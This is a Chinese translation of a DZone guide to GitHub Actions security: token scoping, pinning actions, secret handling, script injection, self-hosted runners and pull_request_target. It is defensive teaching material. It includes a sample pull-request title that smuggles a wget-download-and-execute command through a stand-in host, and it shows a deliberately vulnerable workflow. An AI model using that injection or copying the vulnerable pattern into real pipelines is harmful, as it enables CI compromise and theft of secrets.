GitHub Actions 安全的優秀實踐

譯者 | 陳峻

審校 | 孫淑娟

作爲開源社區最受歡迎的 CI/CD 工具之一,GitHub Actions 可被用於公共或私有存儲庫的各項操作。本文將和您討論 7 種有關 GitHub Actions 的安全實踐,以避免密鑰、工件、以及供應鏈受到攻擊。  

GitHub Actions 是一個越來越受歡迎的 CI/CD 平臺。它們能夠在保持易訪問性的同時,自動化開發週期的幾乎所有任務。不過,由於它們經常會調用外部代碼,這會給 GitHub Action 的工作流帶來各種風險隱患,因此無論我們是否維護的是開源項目,都需要採取一些必要的安全措施。下圖是我爲您整理的一張保護 GitHub Actions 的速查表。我據此將和您開展深入討論。

什麼是 GitHub Actions?

GitHub Actions 是 GitHub 的一種 CI/CD 服務。它可以作爲從開發系統轉化到生產系統的一種工作流機制。GitHub 事件不但能夠觸發各種 action(如:提交拉取請求、開啓問題、合併拉取請求等),而且可以執行任何命令。例如,它們可用於格式化代碼、拉取請求,將問題的註釋與另一個工單系統的註釋相同步,爲新的問題添加適當的標籤,以及觸發全面的雲部署。

通常,該工作流由一到多個作業組成。這些作業在自己的虛擬機或容器(運行程序,runner)中運行,並能執行一到多個步驟。其中,每一個步驟都可以是一個 shell 腳本或 action。其實,它是專門爲 GitHub CI 生態系統打包的一段可重用的代碼。

由於 GitHub 託管着數以百萬計的開源項目,這些項目可以通過拉取請求,進行分叉(fork)和貢獻(contribute),因此 GitHub Actions 的安全性對於防範供應鏈攻擊來說是至關重要的。下面,我們來討論一些值得借鑑的優秀實踐:

設置信任憑據的最小範圍

讓我們將這個適用於工作流中所有信任憑據的一般性安全原則,運用到特定的 GITHUB_TOKEN 上。該令牌會授予每個運行程序與存儲庫交互的權限。由於它是臨時的,因此其有效性僅以工作流的開始和結束爲界。

默認情況下,該令牌的權限爲 “允許”(適用於常見範圍的讀與寫)或“受限”(適用於常見範圍的默認無權限)。由於無論在哪種情況下,分叉的存儲庫最多隻有一個讀的訪問(read-access)權限,因此無論您選擇哪種選項,都應該僅授予 GITHUB_TOKEN 執行工作流或作業所需的最低權限。爲此,我們需要在工作流中,使用“權限” 鍵,來配置工作流或作業所需的最低權限,以實現對 GitHub Actions 權限的細粒度控制。

當然,該原則也適用於環境變量。爲了限制環境變量的作用範圍,您也應該始終在 step 級別去聲明它們,以避免其他階段對其進行任意訪問。

使用特定的操作版本標籤

通常,當人們在 GitHub 上創建自己的工作流時,他們會直接使用由他人創建的 Actions。例如,幾乎所有的工作流程都會從如下步驟開始:

YAML
- name: Check out repository
uses: actions/checkout@v3

而多數人可能認爲這只是在獲取自己的代碼,沒什麼危險的。不過,讓我們來研究一下它是如何檢查目標代碼的:以 “uses” 開頭的一行會將代碼通過 “actions/checkout” 操作,從 GitHub 存儲庫獲取到,並推送給運行着工作流的服務器。如果您仔細閱讀其源代碼,就會意識到:盲目地相信其所有行爲是極其風險的。各種第三方 action 會與您的代碼進行交互,並且可能在服務器上運行。對此,我們往往缺乏在後臺監控各種發佈更新、以及執行更改等實際操作的概念。

讓我們來設想這樣一種威脅場景:您需要使用一個第三方的 linter,來檢查自己代碼上的格式問題。爲此,您決定直接使用來自 GitHub Actions Marketplace 的一個 action,而無需自行安裝、配置和運行 linter。在完成試運行後,您可以在存儲庫中設置一個使用它的工作流:

YAML
- name: Lint code
uses: someperson/lint-action@v1

而在該操作被使用了數月之後,您可能突然遇到了 API 密鑰被盜或濫用的問題。經過調查,該第三方 linter action 的作者,最近向 GitHub Marketplace 推送了一個更新,將其重新標記爲 “v1”,其中便包含了將環境變量發送到某個隨機網址的代碼。因此,每個使用 “someperson/linter-action@v1” 的人,都會在他們的工作流中運行該惡意代碼。

對於沒有人會關注其使用的第三方 action 是否有更新的情況,我們該如何實施安全保護呢?GitHub 爲我們提供了一種方法:您可以通過提交哈希,而非使用來自存儲庫的標籤,來運行某項操作。例如,當您將容器鏡像自動推送到 Docker Hub 時,可以在工作流中使用如下代碼,來進行身份驗證:

YAML
- name: Log in to the container registry
uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9

左右滑動查看完整代碼

通過在驗證 Docker Hub 時,準確地指定待提交的內容,我們可以保證工作流中的 action 具有一致性,而不必擔心其發生任何變化。

不要使用純文本的密碼

雖然這是一個常識,但還是需要提一下:請既不要在源代碼中,也不要在 CI 工作流文件裏,以純文本的形式存儲 API 的密鑰或密碼。作爲一項服務,GitHub Secrets 可以讓您以安全的方式,存儲自己的密鑰,並在工作流中使用各種 ${{}} 括號,來引用它們,以確保將所有純文本的機密信息,都排除在 GitHub Actions 之外。

當然,您也可以使用免費的 ggshield-action,來掃描源代碼中是否存在着密碼。

不要引用您無法控制的值

正如前文所述,GitHub 允許您使用各種 ${{}} 括號,來引用 GitHub 環境中的機密信息。不過,這些可引用的信息不一定是由您設置的。這也是許多開源存儲庫的常見錯誤源。下面的工作流便是我一個錯誤:

YAML
- name: lint
run: |
  echo “${{github.event.pull_request.title}}” | commitlint

左右滑動查看完整代碼

其 “lint” 命令包含了來自拉取請求的一些輸入,其中含有獲取由提交請求的人所設置的拉取請求的標題。例如,假設有人向此存儲庫提交了如下拉取請求:

a" && wget https://example.com/malware && ./malware && echo "Title

那麼,如下 YAML 工作流會便會被評估:

YAML
- name: lint
run: |
  echo “a" && wget https://example.com/malware && ./malware && echo "Title” | commitlint

左右滑動查看完整代碼

在本例中,攻擊者下載並執行了惡意軟件,進而竊取了運行程序的 GITHUB_TOKEN。而根據工作流的運行上下文,令牌可能具有對原始存儲庫的寫入權限。這就意味着攻擊者完全可以修改存儲庫裏內容(也包括髮布)。

另一個例子則是從 CI 中竊取敏感數據,即收集可用於橫向移動的密鑰。由於拉取請求標題並非外部各方設置的唯一 GitHub 環境值,因此拉取請求正文、以及發佈的標題和正文也是不受信任的。當您在 GitHub Actions 的步驟中引用此類變量時,應確保能夠管控它們的來源。

爲了安全起見,您有兩種選擇:

使用 Action 而不是內聯腳本

Action 將使用(不可信的)上下文值作爲參數,來判斷注入攻擊:

YAML
- uses: fakeaction/checktitle@v3
with:
  title: ${{ github.event.pull_request.title }}

左右滑動查看完整代碼

使用中間環境變量

如果您需要執行一個腳本,則應該設置一箇中間環境變量:

YAML
- name: Check PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
  echo “$PR_TITLE

左右滑動查看完整代碼

請注意,我們通過對變量添加雙引號,來避免其他類型的利用,從而起到了額外的預防效果。

僅在可信的代碼上運行工作流

無論您是託管自己的 action 運行程序,還是使用 GitHub 的運行程序,當工作流運行時,您都需要謹慎地授予潛在的運行代碼、訪問機密信息、以及在運行程序環境中執行的權限。

如果您維護一個開源的存儲庫,那麼很可能會收到一些從未接觸過的定期拉取請求。對此,您應該多問自己:“在啓動工作流時,正在運行的是什麼代碼?這些代碼從何而來?”

讓我們考慮一個潛在的威脅場景。假設您是 GitHub 上某個組織的維護者,並且手頭有一個設置了自動化測試的開源項目。某日,有人向該存儲庫提交了一個包含有新特性和一些測試用例的拉取請求。您不知道的是,其中一個測試用例並不包含測試代碼,而是會在服務器上安裝並運行某個 “挖礦” 應用。那麼,一旦您的 CI 啓動了所有的測試代碼,您原有的運行程序就會受到影響。

實際上,GitHub 可以通過默認設置,來保護我們免受此類攻擊。也就是說,GitHub 能夠不允許個人帳戶在公共存儲庫上使用自託管運行程序,而僅對組織不設限。

針對此類場景的另一種保護措施是,針對來自拉取請求的代碼,確定何時運行 GitHub Actions。默認情況下,來自首次貢獻者(contributor)的拉取請求,需要維護者的批准,才能開始 CI 測試。而作爲維護者,您有責任確保在批准工作流之前,仔細閱讀所有提交的代碼。當然,如果有人在提交帶有惡意代碼的第二個請求之前,事先提交了一個小的拉取請求。那麼由於他並非首次貢獻者,其所有的配置工作流都會自動運行。對此,GitHub 可以被設置爲要求所有外部合作者的每一次請求都需要獲得批准。

加固 Action 運行程序

在設置 CI 工作流期間,您可以在每個工作流中指定其應該運行的位置。GitHub 提供了一些針對 Ubuntu、Mac 和 Windows 等不同的運行程序。當您使用 GitHub 的運行程序時,它們必須作爲一個乾淨的 VM 被啓動。當然,您也可以選擇將自己的服務器配置爲運行程序,來執行自己的工作流。

注意,請千萬不要將自託管的運行程序用於公共存儲庫。這無疑允許了任何人分叉您的存儲庫,進而提交惡意拉取請求,逃離沙箱,以及訪問網絡。如果您確實需要設置自託管運行程序的話,請注意如下方面:

  1. 您自己應該是唯一能夠配置服務器上運行的工作流的人。

  2. 使用專用的非特權帳戶(例如:github-runner 等非管理員的權限)來啓動運行程序,並執行工作流。同時,您應該確保它無權修改其工作空間之外的任何內容(除非在工作流中使用 sudo),並且只允許它執行所屬的特定文件。

  3. 通過設置臨時且被隔離的負載,來執行諸如 Kubernetes Pod 或容器等作業。據此,當工作流完成時,虛擬機就會被銷燬,以避免各種潛在的風險。

  4. 使用日誌記錄和安全監控工具。如果您有一個安全團隊,可通過使用 EDR 代理、或類似 Linux 的 Sysmon 之類的工具,去收集運行程序服務器上的進程日誌,並通過檢測規則,在發生可疑情況時發出警告。

在典型的 SolarWinds 供應鏈攻擊中,攻擊者曾位於 SolarWinds 所構建的服務器內,並使用其訪問權限將惡意代碼注入到了 Orion 平臺上。如果我們能夠對運行程序的可疑活動採取有效的監控的話,就能夠確保代碼的完整性,防範構建過程被篡改,以及攻擊者使用的命令與控制(command-and-control,C2)、及各種持久性技術。

請小心使用

pull_request_target 觸發器

在維護開源的存儲庫時,您還可能碰到被稱爲 pwn requests 的漏洞。惡意拉取請求會利用該漏洞,在特定情況下截獲祕密信息、甚至篡改發佈。因此,如果您在 GitHub Actions 中使用了 “on: pull_request_target” 事件,請不要使用如下代碼內容:

YAML
on: pull_request_target
…
steps:
- uses: actions/checkout@v3
with:
    ref: ${{ github.event.pull_request.head.sha }}

左右滑動查看完整代碼

也就是說,當有人分叉您的存儲庫,並打開一個拉取請求時,就會涉及到兩個存儲庫:一個是在您控制下的目標庫,以及他人的分叉存儲庫(fork repo)。

通常,當有人提交拉取請求時,我們會使用 “pull_request” 觸發事件,來觸發工作流。有了它,被觸發的工作流就只會在提交者的分叉存儲庫的上下文中運行。而且,被提供的 GITHUB_TOKEN 將沒有寫入的權限,更無法訪問到機密信息。

雖然這些都是合理的默認設置,但在某些情況下,它們可能有點過於受限了。應開源社區的要求,GitHub 引入了 “pull_request_target” 事件。它與前者之間的區別並不大,但存在着一些安全隱患。例如:由於 pull_request_target 觸發器是在您的目標存儲庫的上下文中運行的,那麼工作流便可以訪問到您的機密信息,並寫入您的代碼。一旦工作流運行那些不受控制的代碼,就會變得非常危險。這也就是爲什麼檢查分叉存儲庫的代碼,就需要解讀工作流,以分析出任何類型的遠程代碼執行的原因。

漏洞示例

爲了證明這一點,讓我們來看下面易受攻擊的 GitHub Action:

YAML
name: my action
on: pull_request_target
jobs:
pr-check:
name: Check PR
runs-on: ubuntu-latest
steps:
- name: Setup Action
uses: actions/checkout@v3
with:
ref: ${{github.event.pull_request.head.ref}}
repository: ${{github.event.pull_request.head.repo.full_name}}
- name: Setup Python 3.10
uses: actions/setup-python@v3
with:
python-version: 3.10
- name: Install dependencies
run: pip install -r requirements.txt
- name: some command
run: some_command
env:
        SOME_SECRET: ${{ secrets.SOME_SECRET }}

左右滑動查看完整代碼

該代碼滿足了兩個條件:工作流觸發器運行在目標存儲庫上,作業的第一步是簽出拉取請求代碼的 HEAD(即,最後一次提交)。因此,該代碼將會在來自拉取請求的工作流的其餘部分被使用到,並且會打開各種被利用的威脅向量。

例如,爲了安裝依賴項而執行的、看似無害的 “run: pip install ...”,此時便是一個潛在的向量。畢竟只要通過修改 setup.py,便可在 pip 啓動之前,執行某個“預安裝” 的腳本。而且,由於腳本中可以使用各種 shell 命令,因此攻擊者可以輕鬆地啓動反向 shell,或獲取惡意負載。該負載旨在對原始存儲庫的源代碼執行修改、以及重新標記(re-tagging)發佈等操作。

這可以說是爲發起供應鏈攻擊準備的 “完美” 漏洞,畢竟開源項目的所有用戶都可能在不知情的情況下受到此類攻擊。當然,這只是一個攻擊向量。而通過更改 some_command 二進制文件,來竊取 SOME_SECRET 環境變量,可能要容易得多。

注意,不僅是上述 shell 命令在此類配置中容易受攻擊,就算工作流僅依賴於 action,由於各種 action 會在後臺執行本地的腳本,因此代碼注入仍然極容易發生。這就是爲什麼我們強烈建議您不要使用 pull_request_target 的原因。即便您使用了,也千萬不要盲目地簽出那些不受信任的拉取請求代碼。

首選使用 OpenID Connect 訪問雲資源

OpenID Connect(OIDC)允許您將工作流請求並使用來自雲服務提供商的短期訪問令牌,而無需將那些長期有效的密鑰複製到 GitHub 中。通過配置,您還能受益於來自雲提供商的細粒度訪問控制,以及更好的自動化密鑰管理。

爲此,您需要首先在雲提供商處建立 OIDC 的信任關係,以控制誰可以訪問什麼資源。然後,在 GitHub 上,OIDC 提供者將被配置爲自動生成包含聲明的 JWT 令牌。該聲明允許工作流對雲服務提供者進行身份驗證。一旦這些聲明被驗證通過,一個基於角色範疇的、短期訪問令牌就會被髮送回工作流,以方便後期執行。

結論

綜上所述,作爲開源社區最受歡迎的 CI/CD 工具之一,GitHub Actions 可被用於公共或私有存儲庫的各項操作。不過,從安全的角度,您應該小心設置與之相關工作流的方式,以避免密鑰、工件、以及供應鏈受到攻擊。

在此,我將上面討論過的 GitHub Actions 的安全實踐總結如下:

  1. 使用最小範圍的信任憑據,並且確保 GITHUB_TOKEN 配置了最低權限,去運行您的作業。

  2. 使用特定的版本標籤,以免受到第三方 action 的供應鏈危害。

  3. 切勿以明文形式存儲任何 API 密鑰、令牌或密碼,請使用 ggshield-action 在您的 CI 工作流中通過修復,來實施密鑰檢測。

  4. 避免直接引用易受惡意拉取請求注入的代碼、不可控的值,請使用帶有參數的 action,或直接將值綁定到環境變量中。

  5. 在使用自託管運行程序時,應格外小心,最好不要將此選項用於開源存儲庫,或啓用要求所有外部提交都獲批才能運行的工作流。讓運行程序使用虛擬機,並將其配置爲在最短時間內,使用低權限用戶,並配備充分的日誌記錄和監控工具。

  6. 鑑於惡意的拉取請求可能會濫用您的構建步驟、密鑰,進而破壞您的環境,因此在使用 “pull_request_target event” 時,請不要簽出外部拉取請求。

  7. 儘量使用 OpenID Connect,而非長期有效的密鑰,來實現工作流與雲端資源的交互。

原文鏈接:

https://dzone.com/articles/github-actions-security-best-practices-cheat-sheet

陳峻 (Julian Chen),51CTO 社區編輯,具有十多年的 IT 項目實施經驗,善於對內外部資源與風險實施管控,專注傳播網絡與信息安全知識與經驗。

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/oCDhgpA6fJvYRwT52tKYtg